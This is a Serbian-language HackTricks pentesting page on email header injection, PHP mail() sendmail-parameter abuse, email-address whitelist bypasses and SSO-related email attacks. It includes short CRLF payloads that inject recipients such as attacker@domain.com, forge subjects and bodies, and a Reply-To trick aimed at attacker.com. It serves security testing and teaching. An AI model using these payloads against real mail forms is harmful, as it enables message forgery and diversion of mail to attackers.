hacktricks/pentesting-web/email-injections.md

9.6 KiB

Email Injections


Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

Umetanje u poslatu e-poštu

Umetnite Cc i Bcc nakon argumenta pošiljaoca

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Poruka će biti poslata na naloge recipient i recipient1.

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

Poruka će biti poslata originalnom primaocu i nalogu napadača.

Inject Subject argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Lažni predmet će biti dodat originalnom predmetu i u nekim slučajevima će ga zameniti. To zavisi od ponašanja usluge e-pošte.

Promenite telo poruke

Ubaci dva nova reda, a zatim napiši svoju poruku da bi promenio telo poruke.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() funkcija eksploatacije

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Peti parametar ($additional_parameters)

Ovaj deo će se zasnivati na načinu zloupotrebe ovog parametra pod pretpostavkom da napadač njime upravlja.

Ovaj parametar će biti dodat u komandnu liniju koju će PHP koristiti za pozivanje binarnog sendmail-a. Međutim, biće sanitizovan funkcijom escapeshellcmd($additional_parameters).

Napadač može ubaciti dodatne parametre za sendmail u ovom slučaju.

Razlike u implementaciji /usr/sbin/sendmail

sendmail interfejs je obezbeđen od strane MTA email softvera (Sendmail, Postfix, Exim itd.) instaliranog na sistemu. Iako osnovna funkcionalnost (kao što su -t -i -f parametri) ostaje ista iz razloga kompatibilnosti, druge funkcije i parametri se značajno razlikuju u zavisnosti od instaliranog MTA.

Evo nekoliko primera različitih man stranica za sendmail komandu/interfejs:

U zavisnosti od izvora sendmail binarne datoteke otkrivene su različite opcije za zloupotrebu i curenje datoteka ili čak izvršavanje proizvoljnih komandi. Proverite kako u https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Ubacivanje u ime e-pošte

Ignorisani delovi e-pošte

Simboli: +, - i {} u retkim slučajevima mogu se koristiti za označavanje i ignorisati od strane većine e-mail servera

Komentari između zagrada () na početku ili kraju će takođe biti ignorisani

Zaobilaženje bele liste

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Navodnici

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IP adrese

Možete takođe koristiti IP adrese kao domene nazvane između uglastih zagrada:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Druge ranjivosti

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Treća strana SSO

XSS

Neke usluge kao što su github ili salesforce omogućavaju vam da kreirate email adresu sa XSS payload-ima. Ako možete koristiti ove provajdere za prijavu na druge usluge i te usluge nisu pravilno sanitizovane za email, mogli biste izazvati XSS.

Preuzimanje naloga

Ako SSO usluga omogućava da kreirate nalog bez verifikacije date email adrese (kao što je salesforce) i zatim možete koristiti taj nalog za prijavu na drugu uslugu koja veruje salesforce, mogli biste pristupiti bilo kojem nalogu.
Napomena da salesforce označava da li je data email adresa verifikovana ili ne, ali takođe aplikacija treba uzeti u obzir ovu informaciju.

Odgovori

Možete poslati email koristeći From: company.com i Replay-To: attacker.com i ako se bilo koji automatski odgovor pošalje zbog toga što je email poslat sa internog adresa, napadač može biti u mogućnosti da primi taj odgovor.

Stopa teških odbijanja

Određene usluge, poput AWS-a, implementiraju prag poznat kao Stopa teških odbijanja, obično postavljen na 10%. Ovo je kritična metrika, posebno za usluge dostave email-a. Kada se ovaj prag prekorači, usluga, kao što je AWS-ova email usluga, može biti suspendovana ili blokirana.

teško odbijanje se odnosi na email koji je vraćen pošiljaocu jer je adresa primaoca nevažeća ili nepostojeća. Ovo se može dogoditi iz različitih razloga, kao što su email poslat na nepostojeću adresu, domen koji nije stvaran, ili odbijanje servera primaoca da prihvati email-e.

U kontekstu AWS-a, ako pošaljete 1000 email-a i 100 od njih rezultira teškim odbijanjima (zbog razloga kao što su nevažeće adrese ili domene), to bi značilo stopu teških odbijanja od 10%. Dostizanje ili prekoračenje ove stope može pokrenuti AWS SES (Simple Email Service) da blokira ili suspenduje vaše mogućnosti slanja email-a.

Važno je održavati nisku stopu teških odbijanja kako bi se osigurala neprekidna usluga email-a i održala reputacija pošiljaoca. Praćenje i upravljanje kvalitetom email adresa u vašim mailing listama može značajno pomoći u postizanju ovog cilja.

Za detaljnije informacije, može se konsultovati AWS-ova zvanična dokumentacija o upravljanju odbijanjima i pritužbama AWS SES Bounce Handling.

Reference

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}


Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}